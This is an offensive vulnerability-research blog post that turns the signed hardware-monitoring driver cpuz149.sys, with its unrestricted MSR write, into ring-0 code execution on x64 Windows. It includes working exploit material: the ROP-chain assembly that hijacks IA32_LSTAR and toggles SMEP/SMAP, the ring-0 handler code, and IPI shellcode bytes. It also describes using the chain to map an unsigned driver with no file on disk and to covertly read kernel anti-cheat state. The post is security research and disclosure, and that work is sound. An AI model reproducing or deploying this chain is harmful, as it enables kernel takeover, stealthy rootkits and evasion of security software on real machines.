Sep 18, 2026  ·  Kernel  ·  16 min read

From MSR write to ring zero in one syscall

Scott Busby  ·  offense

I was looking at the IOCTL handler in a signed hardware monitoring driver when I noticed it would happily write to any model-specific register you asked for. No blacklist. No index filtering. Just raw wrmsr with whatever values you pass in.

Most MSR write primitives are interesting. This one was something else. MSR 0xC0000082 is IA32_LSTAR, the register the CPU consults every time a thread executes syscall on x64. Write an address there and every syscall on the entire machine jumps to it. I spent a few weeks turning that single write into stable ring-0 code execution, and the full chain ended up being more involved than I expected.

The register that runs everything

On x64 Windows, the syscall instruction does not jump to a fixed address burned into the CPU. It reads a destination from IA32_LSTAR, MSR 0xC0000082, and transfers control there. That destination is KiSystemCall64, the kernel's syscall entry point. NtCreateFile, NtAllocateVirtualMemory, NtWriteFile, everything on the entire machine flows through this one address.

The CPU does a few other things on syscall entry. It saves the return address in RCX, saves RFLAGS in R11, masks RFLAGS against the value in IA32_FMASK, and switches CS and SS to kernel segments. What it does not do is switch RSP. The normal kernel entry code handles that by reading the kernel stack pointer out of the per-processor control region via gs:. If LSTAR points somewhere other than KiSystemCall64, that stack switch never happens. You land at CPL 0 with RSP still pointing at your user stack.

That last part is the whole story.

The delivery mechanism

cpuz149.sys is a signed CPUID SDK driver bundled with Piriform Speccy and other hardware monitoring tools. Device path is \\.\CPUZ149. It exposes MSR read and write through two IOCTLs:

No filtering. No index checks. No blacklist. Loading the driver requires administrator privileges, but once it's loaded, any handle to the device gives you unrestricted wrmsr. Compare this to AIDA64's kerneld-x64c.sys, which blocks MSRs 0xC0000081 through 0xC0000083, covering the SYSCALL-related registers. cpuz149 blocks nothing at all.

Reading your way past KASLR

Before you can hijack LSTAR, you need kernel addresses. The MSR read IOCTL gives you the first one for free.

lstar_read.log
IA32_LSTAR (0xC0000082) = 0xFFFFF8074D611000
  → KiSystemCall64 address
  → ntoskrnl base ≈ 0xFFFFF8074D600000
  MSR WRITE CONFIRMED (TSC write-back test)

Reading IA32_LSTAR returns the exact virtual address of KiSystemCall64. Since ntoskrnl is 2MB-aligned, masking off the low 21 bits gets you close to the kernel base. But we don't even need that approximation. NtQuerySystemInformation with class 0xB gives the exact base address of every loaded kernel module. Between the LSTAR read and the module enumeration, KASLR is irrelevant.

Gadget hunting

The ROP chain needs three gadgets from loaded kernel modules:

The scanner loads each kernel module into the current process via LoadLibraryEx with DONT_RESOLVE_DLL_REFERENCES, walks the PE section headers to find executable sections, and scans for the byte patterns. When it finds a match, it converts the usermode file offset to a kernel virtual address using the known module base.

gadgets.log
pop rcx; ret      = 0xFFFFF80328614DBC
mov cr4, rcx; ret = 0xFFFFF803287ACC27
sysret (REX.W)    = 0xFFFFF8032880996C

Finding the real entry point

We also need to identify the KiSystemCall64 prologue in the mapped ntoskrnl image so we can extract its KPCR offsets. The pattern scan looks for:

KiSystemCall64 prologue
0F 01 F8                 swapgs
65 48 89 24 25 ?? ?? ??  mov gs:[????], rsp    ; save user RSP to KPCR
65 48 8B 24 25 ?? ?? ??  mov rsp, gs:[????]    ; load kernel RSP from KPCR

The wildcard bytes give us the KPCR offsets for the user RSP save slot and the kernel RSP, typically 0x10 and 0x1A8. The ring-0 handler needs these to do its own stack switch, saving the user RSP and loading a kernel RSP so it can safely call into C code.

On systems with KVA Shadow enabled for Meltdown mitigation, the real entry point is KiSystemCall64Shadow in the KVASCODE section rather than .text. The code checks NtQuerySystemInformation with SystemKernelVaShadowInformation and scans the correct section accordingly.

The SMEP problem

Bit 20 of CR4 enables SMEP, Supervisor Mode Execution Prevention. When it is set, the CPU faults if ring-0 code tries to execute instructions on a page marked as user-mode in the page table. Our ring-0 handler lives in our process's virtual address space. Those are user pages. SMEP will kill us before the first instruction runs.

So SMEP has to be disabled before the handler executes and restored before we return to normal operation. That means writing CR4 twice, once to clear bit 20 and once to set it back. The mov cr4, rcx gadget handles both writes.

Here is the catch. We need the exact current CR4 value. Getting even one bit wrong triggers a PatchGuard BSOD. You cannot read CR4 from usermode. I initially tried guessing it from CPUID feature flags, building the value bit by bit from what the processor claims to support. PSE, PAE, MCE, OSFXSR, OSXSAVE, FSGSBASE, PCIDE, each queried from CPUID leaves or IsProcessorFeaturePresent and assembled into a CR4 value.

The guess was often wrong. On one test system, the guessed value differed from reality by 0x240000, which is the PGE and SMAP bits. Restoring that wrong value would have been a guaranteed BSOD within minutes once PatchGuard ran its next check.

The fix came from inside ring 0. More on that shortly.

The chain

Below is the usermode function that builds the ROP chain on the stack and fires the syscall.

syscall_wrapper.asm
syscall_wrapper proc
    push r10
    pushfq
    mov r10, rcx              ; save callback pointer

    push m_sysret_gadget      ; [9] sysret back to ring 3
    lea rax, finish
    push rax                  ; [8] ring-3 return address for sysret
    push m_pop_rcx_gadget     ; [7] pop rcx
    push m_mov_cr4_gadget     ; [6] mov cr4, rcx  (re-enable SMEP)
    push m_smep_on            ; [5] CR4 value with SMEP=1
    push m_pop_rcx_gadget     ; [4] pop rcx
    lea rax, syscall_handler
    push rax                  ; [3] handler address in usermode
    push m_mov_cr4_gadget     ; [2] mov cr4, rcx  (disable SMEP)
    push m_smep_off           ; [1] CR4 value with SMEP=0

    pushfq
    pop rax
    or rax, 040000h           ; set AC flag, disables SMAP
    push rax
    popfq

    syscall                   ; LSTAR now points to pop rcx gadget

finish:
    popfq
    pop r10
    ret
syscall_wrapper endp

The AC flag setting before the syscall deserves a sentence. SMAP is the data-access counterpart of SMEP. When SMAP is active, the kernel cannot read or write user pages. Since LSTAR now points to a pop rcx; ret gadget instead of the real syscall handler, the normal kernel stack switch never happens. RSP still points at our user stack. The ret instructions need to pop return addresses off that stack, and SMAP would block those reads. Setting AC in RFLAGS disables SMAP for supervisor-mode accesses. One wrinkle. IA32_FMASK controls which RFLAGS bits the CPU clears on syscall entry. If bit 18 of FMASK is set, the CPU clears AC automatically and the SMAP bypass breaks. The code reads FMASK via the MSR read IOCTL and warns if this bit is present.

The chain executes as nine steps:

  1. syscall jumps to LSTAR, which now points to pop rcx; ret.
  2. pop rcx loads the CR4 value with SMEP cleared.
  3. ret to mov cr4, rcx; ret. SMEP is off.
  4. ret to syscall_handler in user pages. Runs because SMEP is disabled.
  5. The handler does its work at CPL 0.
  6. Handler returns. ret hits pop rcx; ret.
  7. pop rcx loads the CR4 value with SMEP set.
  8. ret to mov cr4, rcx; ret. SMEP is back on.
  9. ret to sysret, which transfers back to ring 3 at the finish label.

The entire chain lives on the user stack. One syscall instruction in, one sysret out.

Fixing CR4 from the inside

The ring-0 handler's very first instruction restores the original LSTAR value.

handler.c
extern "C" void msrexec_handler(callback_t* callback)
{
    // restore LSTAR before anything else
    __writemsr(0xC0000082, m_system_call);

    cr4_on_entry = __readcr4();

    // resolve kernel routines, run callback
    (*callback)(ntoskrnl_base, get_system_routine);
}

Between the wrmsr that redirected LSTAR and this __writemsr that restores it, any syscall from any thread on any core would jump to the pop rcx gadget and crash. The window is a few hundred nanoseconds at most. Before firing the chain, the code pins the thread to CPU 0 via SetProcessAffinityMask, sets REALTIME_PRIORITY_CLASS with THREAD_PRIORITY_TIME_CRITICAL, and calls VirtualLock on the entire image. With the interrupt flag cleared during ROP execution, a page fault would triple-fault the system.

Now for the CR4 fix. Once inside ring 0, we can finally read CR4 directly with __readcr4. But we can also read it from another core, which tells us what the rest of the system expects. The trick uses an IPI, an Inter-Processor Interrupt.

The handler allocates NonPagedPool memory and copies 9 bytes of shellcode into it:

IPI shellcode, 9 bytes
0F 20 E0    mov rax, cr4
48 89 01    mov [rcx], rax
33 C0       xor eax, eax
C3          ret

A call to KeIpiGenericCall broadcasts this to all processors. Each core writes its CR4 value into the result buffer and returns. The handler reads the real CR4 from the IPI result, updates m_smep_on with the correct value, and patches the user stack at RSP+0x08 so that step 7 of the return chain uses the real CR4 instead of the guess.

cr4_diagnostics.log
CR4 on entry (core 0): 0x130678
CR4 from IPI (real):   0x370678
CR4 after callback:    0x370678
IPI status:            1 (SUCCESS)
Diff (guess vs real):  0x240000 (PGE SMAP)

The guessed CR4 was off by PGE and SMAP. Without the IPI fix, the return path would have written a wrong CR4 and PatchGuard would have caught it.

This was the part that took the longest to get right. The initial CPUID-based guess worked on some machines and BSODed on others, and the failures were not immediately obvious because the wrong CR4 would appear to work fine until PatchGuard's next periodic check. The IPI approach works everywhere because it reads the value the OS actually set rather than what the hardware advertises support for.

What you do with ring zero

Once the handler calls into your callback, you have a get_system_routine function that wraps RtlFindExportedRoutineByName. From there you can resolve any kernel export. ExAllocatePool, MmCopyMemory, IoCreateDriver, whatever the job needs.

I used it for driver mapping. Allocate NonPagedPool for the driver image, copy from a usermode staging buffer that was VirtualLock'd before the chain fired, walk the PE import table resolving each import through get_system_routine, and call the mapped driver's entry point. The result is an unsigned driver running in kernel space with no file on disk.

mapping.log
Mapped base:  0xFFFFAC893C9E4000
Entry result: 0x0
[+] kdbg.sys MAPPED AND RUNNING
LSTAR: 0xFFFFF80328E22180 (RESTORED OK)

A second use case was data collection from a kernel anti-cheat. Reading driver sections, enumerating ObRegisterCallbacks registrations, walking PspCreateProcessNotifyRoutine and its siblings to find every registered callback. All kernel pointer dereferences guarded by MmIsAddressValid to prevent faults on stale or paged-out memory. The LSTAR hijack fires once, collects everything, and the system never knows it happened.

The race you cannot eliminate

The technique has an inherent race condition on multi-core systems. Between the wrmsr that redirects LSTAR and the handler's first instruction that restores it, any syscall from any thread on any core hits the gadget address instead of KiSystemCall64. Pinning to core 0 and setting realtime priority only reduce the risk on the current core. Other cores are still executing normally and can fire syscalls during the window.

In practice, the window is very small. The wrmsr IOCTL returns, the syscall fires immediately in the same function, and the handler's first instruction is __writemsr to restore. I never hit a crash from the race in testing, but the risk exists and scales with core count and system load.

The blacklist that wasn't

Different drivers handle this differently. AIDA64 ships two driver variants in the same product line. The older v64 variant blocks MSRs 0x174 through 0x176, the SYSENTER registers, but leaves LSTAR completely open. The newer x64c variant adds blocks for 0xC0000081 through 0xC0000083, covering STAR, LSTAR, and CSTAR. Someone at FinalWire figured out the SYSCALL registers needed protection and added the check, but never backported it to v64. cpuz149 has no blacklist of any kind.

A single MSR index check, three lines of code, is the difference between a hardware monitoring driver and a ring-0 execution primitive.

One MSR write, one syscall, a short ROP chain to toggle SMEP, and you land in your own handler at CPL 0 with full kernel access. The IPI trick to fix CR4 in-flight was the piece I didn't expect when I started, and the piece that made the whole thing reliable instead of a coin flip between a clean return and a BSOD. Good project, good few weeks of evening work.

SB
Scott Busby

Vulnerability research, teardowns and the occasional incident postmortem.